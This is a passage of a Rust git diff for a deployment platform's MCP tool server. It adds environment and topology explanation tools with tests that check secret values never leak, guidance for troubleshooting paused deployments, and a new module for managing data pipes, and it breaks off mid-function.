+fn topology_services(apps: &[ProjectApp]) -> Vec<ExplainTopologyService> {
+    apps.iter()
+        .map(|app| ExplainTopologyService {
+            code: app.code.clone(),
+            name: app.name.clone(),
+            enabled: app.enabled.unwrap_or(true),
+        })
+        .collect()
+}
+
+fn json_tool_content<T: Serialize>(value: &T) -> Result<ToolContent, String> {
+    Ok(ToolContent::Text {
+        text: serde_json::to_string_pretty(value)
+            .map_err(|err| format!("Serialization error: {err}"))?,
+    })
+}
+
+impl From<ExplainEnvLayer> for McpExplainEnvLayerResponse {
+    fn from(value: ExplainEnvLayer) -> Self {
+        Self {
+            name: value.name,
+            key_names: value.key_names,
+            key_count: value.key_count,
+            hash: value.hash,
+        }
+    }
+}
+
+impl From<crate::services::ExplainDestination> for McpExplainDestinationResponse {
+    fn from(value: crate::services::ExplainDestination) -> Self {
+        Self {
+            path: value.path,
+            write_policy: value.write_policy,
+            drift_protection: value.drift_protection,
+        }
+    }
+}
+
+impl From<ExplainRenderedEnv> for McpExplainRenderedEnvResponse {
+    fn from(value: ExplainRenderedEnv) -> Self {
+        Self {
+            hash: value.hash,
+            inputs: value.inputs,
+            server_secrets_inherited: value.server_secrets_inherited,
+            service_secrets_override_server_secrets: value.service_secrets_override_server_secrets,
+        }
+    }
+}
+
+impl From<ExplainEnv> for McpExplainEnvResponse {
+    fn from(value: ExplainEnv) -> Self {
+        Self {
+            schema_version: value.schema_version,
+            deployment_hash: value.deployment_hash,
+            app_code: value.app_code,
+            local_authoring_env_path: value.local_authoring_env_path,
+            runtime_env_path: value.runtime_env_path,
+            runtime_compose_path: value.runtime_compose_path,
+            layers: value.layers.into_iter().map(Into::into).collect(),
+            destination: value.destination.into(),
+            rendered_env: value.rendered_env.into(),
+            reasoning: value.reasoning,
+        }
+    }
+}
+
+impl From<ExplainTopologyService> for McpExplainTopologyServiceResponse {
+    fn from(value: ExplainTopologyService) -> Self {
+        Self {
+            code: value.code,
+            name: value.name,
+            enabled: value.enabled,
+        }
+    }
+}
+
+impl From<ExplainTopology> for McpExplainTopologyResponse {
+    fn from(value: ExplainTopology) -> Self {
+        Self {
+            schema_version: value.schema_version,
+            deployment_hash: value.deployment_hash,
+            target: value.target,
+            local_compose_path: value.local_compose_path,
+            runtime_compose_path: value.runtime_compose_path,
+            local_authoring_env_path: value.local_authoring_env_path,
+            runtime_env_path: value.runtime_env_path,
+            services: value.services.into_iter().map(Into::into).collect(),
+            reasoning: value.reasoning,
+        }
+    }
+}
+
+async fn load_owned_deployment(
+    context: &ToolContext,
+    deployment_hash: &str,
+) -> Result<(crate::models::Deployment, Project), String> {
+    let deployment = db::deployment::fetch_by_deployment_hash(&context.pg_pool, deployment_hash)
+        .await
+        .map_err(|err| format!("Failed to fetch deployment: {err}"))?
+        .ok_or_else(|| "Deployment not found".to_string())?;
+    let project = db::project::fetch(&context.pg_pool, deployment.project_id)
+        .await
+        .map_err(|err| format!("Failed to fetch project: {err}"))?
+        .ok_or_else(|| "Project not found".to_string())?;
+    if project.user_id != context.user.id {
+        return Err("Deployment not found".to_string());
+    }
+    Ok((deployment, project))
+}
+
+#[async_trait]
+impl ToolHandler for ExplainEnvTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        let args: ExplainArgs =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {e}"))?;
+        let (deployment, project) = load_owned_deployment(context, &args.deployment_hash).await?;
+        let app_code = args.app_code.unwrap_or_else(|| "app".to_string());
+
+        let apps =
+            db::project_app::fetch_by_deployment(&context.pg_pool, project.id, deployment.id)
+                .await
+                .map_err(|err| format!("Failed to fetch apps: {err}"))?;
+        let app = apps
+            .iter()
+            .find(|app| app.code == app_code)
+            .or_else(|| apps.first())
+            .ok_or_else(|| "No deployment apps found".to_string())?;
+
+        let explain = build_explain_env(
+            &deployment.deployment_hash,
+            &app.code,
+            &local_authoring_env_path(&project),
+            remote_runtime_env_path(),
+            &runtime_compose_path(&project),
+            app_env_input(app),
+        )
+        .map_err(|err| err.to_string())?;
+
+        json_tool_content(&McpExplainEnvResponse::from(explain))
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "explain_env".to_string(),
+            description: "Explain runtime env provenance for a deployment app without exposing secret values.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "deployment_hash": { "type": "string", "description": "Deployment hash to inspect" },
+                    "app_code": { "type": "string", "description": "Optional app code; defaults to first deployment app" }
+                },
+                "required": ["deployment_hash"]
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for ExplainTopologyTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        let args: ExplainArgs =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {e}"))?;
+        let (deployment, project) = load_owned_deployment(context, &args.deployment_hash).await?;
+
+        let apps =
+            db::project_app::fetch_by_deployment(&context.pg_pool, project.id, deployment.id)
+                .await
+                .map_err(|err| format!("Failed to fetch apps: {err}"))?;
+
+        let topology = build_explain_topology(
+            &deployment.deployment_hash,
+            &project_target(&project),
+            "stacker.yml",
+            &runtime_compose_path(&project),
+            &local_authoring_env_path(&project),
+            remote_runtime_env_path(),
+            topology_services(&apps),
+        );
+
+        json_tool_content(&McpExplainTopologyResponse::from(topology))
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "explain_topology".to_string(),
+            description: "Explain deployment topology paths and service targets without exposing secret values.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "deployment_hash": { "type": "string", "description": "Deployment hash to inspect" }
+                },
+                "required": ["deployment_hash"]
+            }),
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::mcp::registry::ToolRegistry;
+    use crate::models::{Deployment, Project, ProjectApp};
+    use serde_json::json;
+
+    #[test]
+    fn explain_tools_have_expected_schema_names() {
+        assert_eq!(ExplainEnvTool.schema().name, "explain_env");
+        assert_eq!(ExplainTopologyTool.schema().name, "explain_topology");
+    }
+
+    #[test]
+    fn explain_tools_are_registered() {
+        let registry = ToolRegistry::new();
+        assert!(registry.has_tool("explain_env"));
+        assert!(registry.has_tool("explain_topology"));
+    }
+
+    #[test]
+    fn explain_env_text_never_contains_secret_values() {
+        let project = Project::new(
+            "user-1".to_string(),
+            "demo".to_string(),
+            json!({}),
+            json!({
+                "env_file": "docker/prod/.env",
+                "custom": {
+                    "deployment_artifacts": {
+                        "config_bundle": {
+                            "remote_compose_path": "/opt/stacker/deployments/prod/docker-compose.remote.yml"
+                        }
+                    }
+                }
+            }),
+        );
+        let deployment = Deployment::new(
+            1,
+            Some("user-1".to_string()),
+            "deployment_demo".to_string(),
+            "running".to_string(),
+            "runc".to_string(),
+            json!({}),
+        );
+        let mut app = ProjectApp::new(
+            1,
+            "api".to_string(),
+            "API".to_string(),
+            "demo/api:latest".to_string(),
+        );
+        app.environment = Some(json!({
+            "DATABASE_URL": "SUPER_SECRET_SHOULD_NOT_LEAK",
+            "API_ACCESS_TOKEN": "TOKEN_SECRET_SHOULD_NOT_LEAK",
+            "REGISTRY_USERNAME": "REGISTRY_USER_SHOULD_NOT_LEAK",
+            "REGISTRY_PASSWORD": "REGISTRY_PASSWORD_SHOULD_NOT_LEAK",
+            "RUST_LOG": "debug"
+        }));
+
+        let explain = build_explain_env(
+            &deployment.deployment_hash,
+            &app.code,
+            &local_authoring_env_path(&project),
+            remote_runtime_env_path(),
+            &runtime_compose_path(&project),
+            app_env_input(&app),
+        )
+        .expect("explain env should build");
+        let text = serde_json::to_string_pretty(&explain).expect("serialize explain env");
+
+        assert!(text.contains("DATABASE_URL"));
+        assert!(text.contains("API_ACCESS_TOKEN"));
+        assert!(text.contains("REGISTRY_USERNAME"));
+        assert!(text.contains("REGISTRY_PASSWORD"));
+        assert!(!text.contains("SUPER_SECRET_SHOULD_NOT_LEAK"));
+        assert!(!text.contains("TOKEN_SECRET_SHOULD_NOT_LEAK"));
+        assert!(!text.contains("REGISTRY_USER_SHOULD_NOT_LEAK"));
+        assert!(!text.contains("REGISTRY_PASSWORD_SHOULD_NOT_LEAK"));
+    }
+
+    #[test]
+    fn explain_env_mcp_response_has_allow_list_shape() {
+        let explain = build_explain_env(
+            "deployment_demo",
+            "api",
+            "docker/prod/.env",
+            remote_runtime_env_path(),
+            remote_runtime_compose_path(),
+            app_env_input(&{
+                let mut app = ProjectApp::new(
+                    1,
+                    "api".to_string(),
+                    "API".to_string(),
+                    "demo/api:latest".to_string(),
+                );
+                app.environment = Some(json!({
+                    "DATABASE_URL": "SUPER_SECRET_SHOULD_NOT_LEAK",
+                    "API_ACCESS_TOKEN": "TOKEN_SECRET_SHOULD_NOT_LEAK",
+                    "REGISTRY_USERNAME": "REGISTRY_USER_SHOULD_NOT_LEAK",
+                    "REGISTRY_PASSWORD": "REGISTRY_PASSWORD_SHOULD_NOT_LEAK",
+                    "RUST_LOG": "debug"
+                }));
+                app
+            }),
+        )
+        .expect("explain env should build");
+
+        let response = McpExplainEnvResponse::from(explain);
+        let serialized = serde_json::to_value(&response).expect("serialize MCP explain env");
+
+        assert!(serialized.get("schemaVersion").is_some());
+        assert!(serialized.get("layers").is_some());
+        assert!(serialized.get("requestJson").is_none());
+        assert!(serialized.get("environment").is_none());
+        let text = serde_json::to_string(&serialized).expect("serialize MCP explain env response");
+        assert!(!text.contains("SUPER_SECRET_SHOULD_NOT_LEAK"));
+        assert!(!text.contains("TOKEN_SECRET_SHOULD_NOT_LEAK"));
+        assert!(!text.contains("REGISTRY_USER_SHOULD_NOT_LEAK"));
+        assert!(!text.contains("REGISTRY_PASSWORD_SHOULD_NOT_LEAK"));
+    }
+
+    #[test]
+    fn explain_topology_mcp_response_has_allow_list_shape() {
+        let topology = build_explain_topology(
+            "deployment_state_online",
+            "cloud",
+            "docker/prod/compose.yml",
+            remote_runtime_compose_path(),
+            "docker/prod/.env",
+            remote_runtime_env_path(),
+            vec![ExplainTopologyService {
+                code: "upload".to_string(),
+                name: "Upload".to_string(),
+                enabled: true,
+            }],
+        );
+
+        let response = McpExplainTopologyResponse::from(topology);
+        let serialized = serde_json::to_value(&response).expect("serialize MCP topology");
+
+        assert!(serialized.get("services").is_some());
+        assert!(serialized.get("target").is_some());
+        assert!(serialized.get("requestJson").is_none());
+        assert!(serialized.get("metadata").is_none());
+    }
+}
diff --git a/src/mcp/tools/firewall.rs b/src/mcp/tools/firewall.rs
index fea172c5..4a731384 100644
--- a/src/mcp/tools/firewall.rs
+++ b/src/mcp/tools/firewall.rs
@@ -17,13 +17,13 @@ use async_trait::async_trait;
 use serde::{Deserialize, Serialize};
 use serde_json::{json, Value};
 
+use crate::connectors::user_service::UserServiceDeploymentResolver;
 use crate::db;
 use crate::forms::status_panel::{ConfigureFirewallCommandRequest, FirewallPortRule};
 use crate::mcp::protocol::{Tool, ToolContent};
 use crate::mcp::registry::{ToolContext, ToolHandler};
 use crate::models::{Command, CommandPriority};
 use crate::services::{DeploymentIdentifier, DeploymentResolver};
-use crate::connectors::user_service::UserServiceDeploymentResolver;
 
 /// Execution method for firewall commands
 #[derive(Debug, Clone, Serialize, Deserialize, Default)]
@@ -153,7 +153,7 @@ impl ToolHandler for ConfigureFirewallTool {
                 // For SSH method, we would need to execute via Ansible
                 // This requires the deploy_role infrastructure
                 // For now, return a placeholder indicating SSH method
-                
+
                 let result = json!({
                     "status": "pending",
                     "execution_method": "ssh",
diff --git a/src/mcp/tools/install_preview.rs b/src/mcp/tools/install_preview.rs
index 5e6fb23c..d7366d34 100644
--- a/src/mcp/tools/install_preview.rs
+++ b/src/mcp/tools/install_preview.rs
@@ -148,9 +148,12 @@ impl ToolHandler for RenderAnsibleTemplateTool {
         let params: Args =
             serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
 
-        let response =
-            call_install_service(reqwest::Method::POST, "/api/render-templates", Some(params.payload))
-                .await?;
+        let response = call_install_service(
+            reqwest::Method::POST,
+            "/api/render-templates",
+            Some(params.payload),
+        )
+        .await?;
 
         Ok(ToolContent::Text {
             text: response.to_string(),
@@ -160,8 +163,9 @@ impl ToolHandler for RenderAnsibleTemplateTool {
     fn schema(&self) -> Tool {
         Tool {
             name: "render_ansible_template".to_string(),
-            description: "Render Ansible templates by calling Install Service /api/render-templates"
-                .to_string(),
+            description:
+                "Render Ansible templates by calling Install Service /api/render-templates"
+                    .to_string(),
             input_schema: json!({
                 "type": "object",
                 "properties": {
diff --git a/src/mcp/tools/marketplace_admin.rs b/src/mcp/tools/marketplace_admin.rs
index 64a63617..7a0a9cf7 100644
--- a/src/mcp/tools/marketplace_admin.rs
+++ b/src/mcp/tools/marketplace_admin.rs
@@ -147,6 +147,7 @@ impl ToolHandler for AdminApproveTemplateTool {
             &context.user.id,
             "approved",
             params.reason.as_deref(),
+            None,
         )
         .await
         .map_err(|e| format!("Database error: {}", e))?;
@@ -216,6 +217,7 @@ impl ToolHandler for AdminRejectTemplateTool {
             &context.user.id,
             "rejected",
             Some(&params.reason),
+            None,
         )
         .await
         .map_err(|e| format!("Database error: {}", e))?;
@@ -352,11 +354,7 @@ impl ToolHandler for AdminListTemplateReviewsTool {
             "reviews": reviews,
         });
 
-        tracing::info!(
-            "Admin listed {} reviews for template {}",
-            reviews.len(),
-            id
-        );
+        tracing::info!("Admin listed {} reviews for template {}", reviews.len(), id);
 
         Ok(ToolContent::Text {
             text: serde_json::to_string(&result).unwrap(),
diff --git a/src/mcp/tools/mod.rs b/src/mcp/tools/mod.rs
index 92ad924d..9bae3309 100644
--- a/src/mcp/tools/mod.rs
+++ b/src/mcp/tools/mod.rs
@@ -4,13 +4,16 @@ pub mod cloud;
 pub mod compose;
 pub mod config;
 pub mod deployment;
+pub mod explain;
 pub mod firewall;
 pub mod install_preview;
 pub mod marketplace_admin;
 pub mod monitoring;
+pub mod pipes;
 pub mod project;
 pub mod proxy;
 pub mod recommendations;
+pub mod remote_secrets;
 pub mod support;
 pub mod templates;
 pub mod user_service;
@@ -21,13 +24,16 @@ pub use cloud::*;
 pub use compose::*;
 pub use config::*;
 pub use deployment::*;
+pub use explain::*;
 pub use firewall::*;
 pub use install_preview::*;
 pub use marketplace_admin::*;
 pub use monitoring::*;
+pub use pipes::*;
 pub use project::*;
 pub use proxy::*;
 pub use recommendations::*;
+pub use remote_secrets::*;
 pub use support::*;
 pub use templates::*;
 pub use user_service::*;
diff --git a/src/mcp/tools/monitoring.rs b/src/mcp/tools/monitoring.rs
index b1167f6f..5b96f069 100644
--- a/src/mcp/tools/monitoring.rs
+++ b/src/mcp/tools/monitoring.rs
@@ -28,6 +28,38 @@ const MAX_LOG_LIMIT: usize = 500;
 const COMMAND_RESULT_TIMEOUT_SECS: u64 = 8;
 const COMMAND_POLL_INTERVAL_MS: u64 = 400;
 
+fn paused_deployment_cli_commands(server_ip: Option<&str>) -> Vec<String> {
+    let mut commands = vec![
+        "stacker status".to_string(),
+        "stacker status --watch".to_string(),
+        "stacker agent status".to_string(),
+        "stacker logs --tail 100".to_string(),
+    ];
+
+    if let Some(ip) = server_ip.filter(|ip| !ip.trim().is_empty()) {
+        commands.push(format!(
+            "ssh -i ~/.config/stacker/ssh/<server-key> -p 22 root@{}",
+            ip
+        ));
+    }
+
+    commands
+}
+
+fn paused_deployment_mcp_sequence() -> Vec<&'static str> {
+    vec![
+        "get_deployment_status",
+        "get_deployment_events",
+        "get_deployment_state",
+        "get_docker_compose_yaml",
+        "list_containers",
+        "get_container_logs",
+        "get_error_summary",
+        "get_container_health",
+        "escalate_to_support",
+    ]
+}
+
 /// Helper to create a resolver from context.
 /// Uses UserServiceDeploymentResolver from connectors to support legacy installations.
 fn create_resolver(context: &ToolContext) -> UserServiceDeploymentResolver {
@@ -527,6 +559,18 @@ impl ToolHandler for DiagnoseDeploymentTool {
                 recommendations.push("Check deployment logs for error details".to_string());
                 recommendations.push("Verify cloud credentials are valid".to_string());
             }
+            "paused" => {
+                issues.push("Deployment is PAUSED and needs troubleshooting".to_string());
+                recommendations.push(
+                    "Continue with stacker status --watch to collect the final installer message"
+                        .to_string(),
+                );
+                recommendations.push(
+                    "Use the backup SSH command printed by deploy if the server IP is reachable"
+                        .to_string(),
+                );
+                recommendations.push("Inspect Docker Compose config, container logs, and config-bundle file mappings before redeploying".to_string());
+            }
             "pending" => {
                 issues.push("Deployment is still PENDING".to_string());
                 recommendations.push(
@@ -574,6 +618,30 @@ impl ToolHandler for DiagnoseDeploymentTool {
             "issues_found": issues.len(),
             "issues": issues,
             "recommendations": recommendations,
+            "mcp_tool_sequence": paused_deployment_mcp_sequence(),
+            "stacker_cli_commands": if status == "paused" || status == "failed" {
+                paused_deployment_cli_commands(server_ip.as_deref())
+            } else {
+                vec![
+                    "stacker status".to_string(),
+                    "stacker agent status".to_string(),
+                ]
+            },
+            "safe_ai_context": {
+                "include": [
+                    "deployment id/hash and status",
+                    "last installer message",
+                    "sanitized docker compose error",
+                    "redacted compose env_file/image/ports snippets",
+                    "config bundle source -> destination mappings"
+                ],
+                "exclude": [
+                    "cloud tokens",
+                    "registry tokens",
+                    "private SSH keys",
+                    "full .env contents"
+                ]
+            },
             "next_steps": if issues.is_empty() {
                 vec!["Deployment appears healthy. Use get_container_health for detailed metrics.".to_string()]
             } else {
@@ -616,6 +684,31 @@ impl ToolHandler for DiagnoseDeploymentTool {
     }
 }
 
+#[cfg(test)]
+mod tests {
+    use super::{paused_deployment_cli_commands, paused_deployment_mcp_sequence};
+
+    #[test]
+    fn paused_deployment_cli_commands_include_status_and_ssh_when_ip_exists() {
+        let commands = paused_deployment_cli_commands(Some("178.105.162.176"));
+
+        assert!(commands.contains(&"stacker status".to_string()));
+        assert!(commands.contains(&"stacker status --watch".to_string()));
+        assert!(commands
+            .iter()
+            .any(|command| command.contains("root@178.105.162.176")));
+    }
+
+    #[test]
+    fn paused_deployment_mcp_sequence_prioritizes_diagnosis_before_escalation() {
+        let sequence = paused_deployment_mcp_sequence();
+
+        assert_eq!(sequence.first(), Some(&"get_deployment_status"));
+        assert!(sequence.contains(&"get_container_logs"));
+        assert_eq!(sequence.last(), Some(&"escalate_to_support"));
+    }
+}
+
 /// Stop a container in a deployment
 pub struct StopContainerTool;
 
diff --git a/src/mcp/tools/pipes.rs b/src/mcp/tools/pipes.rs
new file mode 100644
index 00000000..160dff8a
--- /dev/null
+++ b/src/mcp/tools/pipes.rs
@@ -0,0 +1,781 @@
+use async_trait::async_trait;
+use serde::Deserialize;
+use serde_json::{json, Value};
+
+use crate::cli::stacker_client::{
+    AgentEnqueueRequest, CreatePipeInstanceApiRequest, CreatePipeTemplateApiRequest,
+    PipeInstanceInfo, StackerClient,
+};
+use crate::connectors::user_service::UserServiceDeploymentResolver;
+use crate::mcp::protocol::{Tool, ToolContent};
+use crate::mcp::registry::{ToolContext, ToolHandler};
+use crate::services::{DeploymentIdentifier, DeploymentResolver, TypedErrorEnvelope};
+
+pub struct ListPipesTool;
+pub struct GetPipeTool;
+pub struct ListPipeTemplatesTool;
+pub struct CreatePipeTemplateTool;
+pub struct CreatePipeInstanceTool;
+pub struct GetPipeHistoryTool;
+pub struct ReplayPipeExecutionTool;
+pub struct ActivatePipeTool;
+pub struct DeactivatePipeTool;
+pub struct TriggerPipeTool;
+
+const PIPE_COMMAND_TIMEOUT_SECS: u64 = 90;
+const PIPE_COMMAND_POLL_INTERVAL_SECS: u64 = 1;
+
+fn create_resolver(context: &ToolContext) -> UserServiceDeploymentResolver {
+    UserServiceDeploymentResolver::from_context(
+        &context.settings.user_service_url,
+        context.user.access_token.as_deref(),
+    )
+}
+
+fn stacker_base_url(context: &ToolContext) -> String {
+    let host = match context.settings.app_host.trim() {
+        "" | "0.0.0.0" => "127.0.0.1",
+        host => host,
+    };
+
+    format!("http://{}:{}", host, context.settings.app_port)
+}
+
+fn stacker_client(context: &ToolContext) -> Result<StackerClient, String> {
+    let token = context.user.access_token.as_deref().ok_or_else(|| {
+        TypedErrorEnvelope::permission_denied(
+            "Authenticated MCP mutation requires a user access token",
+        )
+        .to_pretty_json()
+    })?;
+
+    Ok(StackerClient::new(&stacker_base_url(context), token))
+}
+
+async fn resolve_deployment_hash(
+    context: &ToolContext,
+    deployment_hash: Option<String>,
+    deployment_id: Option<i64>,
+) -> Result<String, String> {
+    let identifier = DeploymentIdentifier::try_from_options(deployment_hash, deployment_id)?;
+    create_resolver(context)
+        .resolve(&identifier)
+        .await
+        .map_err(|e| e.to_string())
+}
+
+async fn require_pipe(client: &StackerClient, pipe_id: &str) -> Result<PipeInstanceInfo, String> {
+    client
+        .get_pipe_instance(pipe_id)
+        .await
+        .map_err(|e| format!("Failed to fetch pipe '{}': {}", pipe_id, e))?
+        .ok_or_else(|| format!("Pipe instance '{}' not found", pipe_id))
+}
+
+async fn ensure_pipe_capability(
+    client: &StackerClient,
+    deployment_hash: &str,
+) -> Result<(), String> {
+    let capabilities = client
+        .deployment_capabilities(deployment_hash)
+        .await
+        .map_err(|e| format!("Failed to fetch deployment capabilities: {}", e))?;
+
+    if capabilities.features.pipes {
+        return Ok(());
+    }
+
+    let capabilities_list = if capabilities.capabilities.is_empty() {
+        "(none)".to_string()
+    } else {
+        capabilities.capabilities.join(", ")
+    };
+
+    Err(format!(
+        "The active agent for deployment '{}' does not support pipe commands. Agent status: {}. Capabilities: {}. Update or relink the Status Panel agent so it advertises 'pipes', then retry.",
+        capabilities.deployment_hash,
+        if capabilities.status.is_empty() {
+            "unknown"
+        } else {
+            &capabilities.status
+        },
+        capabilities_list
+    ))
+}
+
+fn pipe_command_response(result: crate::cli::stacker_client::AgentCommandInfo) -> Value {
+    json!({
+        "command_id": result.command_id,
+        "deployment_hash": result.deployment_hash,
+        "command_type": result.command_type,
+        "status": result.status,
+        "priority": result.priority,
+        "parameters": result.parameters,
+        "result": result.result,
+        "error": result.error,
+        "created_at": result.created_at,
+        "updated_at": result.updated_at,
+    })
+}
+
+async fn run_pipe_command(
+    client: &StackerClient,
+    request: &AgentEnqueueRequest,
+    wait_timeout_seconds: u64,
+) -> Result<Value, String> {
+    let result = client
+        .agent_poll_result(
+            request,
+            wait_timeout_seconds,
+            PIPE_COMMAND_POLL_INTERVAL_SECS,
+        )
+        .await
+        .map_err(|e| format!("Agent command failed: {}", e))?;
+
+    Ok(pipe_command_response(result))
+}
+
+async fn resolve_pipe_deployment(
+    context: &ToolContext,
+    client: &StackerClient,
+    pipe_id: &str,
+    deployment_hash: Option<String>,
+    deployment_id: Option<i64>,
+) -> Result<(PipeInstanceInfo, String), String> {
+    let pipe = require_pipe(client, pipe_id).await?;
+    let resolved = if deployment_hash.is_some() || deployment_id.is_some() {
+        let explicit = resolve_deployment_hash(context, deployment_hash, deployment_id).await?;
+        if explicit != pipe.deployment_hash {
+            return Err(format!(
+                "Pipe '{}' belongs to deployment '{}', not '{}'",
+                pipe_id, pipe.deployment_hash, explicit
+            ));
+        }
+        explicit
+    } else {
+        pipe.deployment_hash.clone()
+    };
+
+    Ok((pipe, resolved))
+}
+
+async fn activate_pipe_request(
+    client: &StackerClient,
+    pipe: &PipeInstanceInfo,
+    trigger: &str,
+    poll_interval: u32,
+) -> Result<AgentEnqueueRequest, String> {
+    let (source_endpoint, source_method, target_endpoint, target_method, field_mapping) =
+        if let Some(template_id) = pipe.template_id.as_ref() {
+            let templates = client
+                .list_pipe_templates(None, None)
+                .await
+                .map_err(|e| format!("Failed to load pipe templates: {}", e))?;
+
+            if let Some(template) = templates
+                .iter()
+                .find(|template| &template.id == template_id)
+            {
+                (
+                    template.source_endpoint["path"]
+                        .as_str()
+                        .unwrap_or("/")
+                        .to_string(),
+                    template.source_endpoint["method"]
+                        .as_str()
+                        .unwrap_or("GET")
+                        .to_string(),
+                    template.target_endpoint["path"]
+                        .as_str()
+                        .unwrap_or("/")
+                        .to_string(),
+                    template.target_endpoint["method"]
+                        .as_str()
+                        .unwrap_or("POST")
+                        .to_string(),
+                    pipe.field_mapping_override
+                        .clone()
+                        .unwrap_or(template.field_mapping.clone()),
+                )
+            } else {
+                (
+                    "/".to_string(),
+                    "GET".to_string(),
+                    "/".to_string(),
+                    "POST".to_string(),
+                    serde_json::json!({}),
+                )
+            }
+        } else {
+            (
+                "/".to_string(),
+                "GET".to_string(),
+                "/".to_string(),
+                "POST".to_string(),
+                pipe.field_mapping_override
+                    .clone()
+                    .unwrap_or(serde_json::json!({})),
+            )
+        };
+
+    let params = json!({
+        "pipe_instance_id": pipe.id,
+        "source_adapter": pipe.source_adapter.clone(),
+        "source_container": pipe.source_container.clone(),
+        "source_endpoint": source_endpoint,
+        "source_method": source_method,
+        "target_adapter": pipe.target_adapter.clone(),
+        "target_container": pipe.target_container.clone(),
+        "target_url": pipe.target_url.clone(),
+        "target_endpoint": target_endpoint,
+        "target_method": target_method,
+        "field_mapping": field_mapping,
+        "trigger_type": trigger,
+        "poll_interval_secs": poll_interval,
+    });
+
+    Ok(
+        AgentEnqueueRequest::new(&pipe.deployment_hash, "activate_pipe")
+            .with_raw_parameters(params),
+    )
+}
+
+#[async_trait]
+impl ToolHandler for ListPipesTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            #[serde(default)]
+            deployment_id: Option<i64>,
+            #[serde(default)]
+            deployment_hash: Option<String>,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let deployment_hash =
+            resolve_deployment_hash(context, params.deployment_hash, params.deployment_id).await?;
+        let client = stacker_client(context)?;
+        let pipes = client
+            .list_pipe_instances(&deployment_hash)
+            .await
+            .map_err(|e| format!("Failed to list pipes: {}", e))?;
+
+        Ok(ToolContent::Text {
+            text: json!({
+                "status": "ok",
+                "deployment_hash": deployment_hash,
+                "pipes": pipes,
+            })
+            .to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "list_pipes".to_string(),
+            description: "List remote pipe instances for a deployment.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "deployment_id": { "type": "number", "description": "The deployment/installation ID" },
+                    "deployment_hash": { "type": "string", "description": "The deployment hash" }
+                }
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for GetPipeTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            pipe_id: String,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let client = stacker_client(context)?;
+        let pipe = require_pipe(&client, &params.pipe_id).await?;
+
+        Ok(ToolContent::Text {
+            text: json!({
+                "status": "ok",
+                "pipe": pipe,
+            })
+            .to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "get_pipe".to_string(),
+            description: "Get details for a single remote pipe instance.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "pipe_id": { "type": "string", "description": "Pipe instance ID" }
+                },
+                "required": ["pipe_id"]
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for ListPipeTemplatesTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            #[serde(default)]
+            source_app_type: Option<String>,
+            #[serde(default)]
+            target_app_type: Option<String>,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let client = stacker_client(context)?;
+        let templates = client
+            .list_pipe_templates(
+                params.source_app_type.as_deref(),
+                params.target_app_type.as_deref(),
+            )
+            .await
+            .map_err(|e| format!("Failed to list pipe templates: {}", e))?;
+
+        Ok(ToolContent::Text {
+            text: json!({
+                "status": "ok",
+                "templates": templates,
+            })
+            .to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "list_pipe_templates".to_string(),
+            description:
+                "List remote pipe templates, optionally filtered by source or target app type."
+                    .to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "source_app_type": { "type": "string", "description": "Optional source app type filter" },
+                    "target_app_type": { "type": "string", "description": "Optional target app type filter" }
+                }
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for CreatePipeTemplateTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            request: CreatePipeTemplateApiRequest,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let client = stacker_client(context)?;
+        let template = client
+            .create_pipe_template(&params.request)
+            .await
+            .map_err(|e| format!("Failed to create pipe template: {}", e))?;
+
+        Ok(ToolContent::Text {
+            text: json!({
+                "status": "created",
+                "template": template,
+            })
+            .to_string(),
+        })
+    }
+
+    fn schema(&self) -> Tool {
+        Tool {
+            name: "create_pipe_template".to_string(),
+            description: "Create a reusable remote pipe template.".to_string(),
+            input_schema: json!({
+                "type": "object",
+                "properties": {
+                    "request": {
+                        "type": "object",
+                        "description": "Pipe template request matching CreatePipeTemplateApiRequest"
+                    }
+                },
+                "required": ["request"]
+            }),
+        }
+    }
+}
+
+#[async_trait]
+impl ToolHandler for CreatePipeInstanceTool {
+    async fn execute(&self, args: Value, context: &ToolContext) -> Result<ToolContent, String> {
+        #[derive(Deserialize)]
+        struct Args {
+            #[serde(default)]
+            deployment_id: Option<i64>,
+            #[serde(default)]
+            deployment_hash: Option<String>,
+            request: CreatePipeInstanceApiRequest,
+        }
+
+        let params: Args =
+            serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?;
+        let deployment_hash =
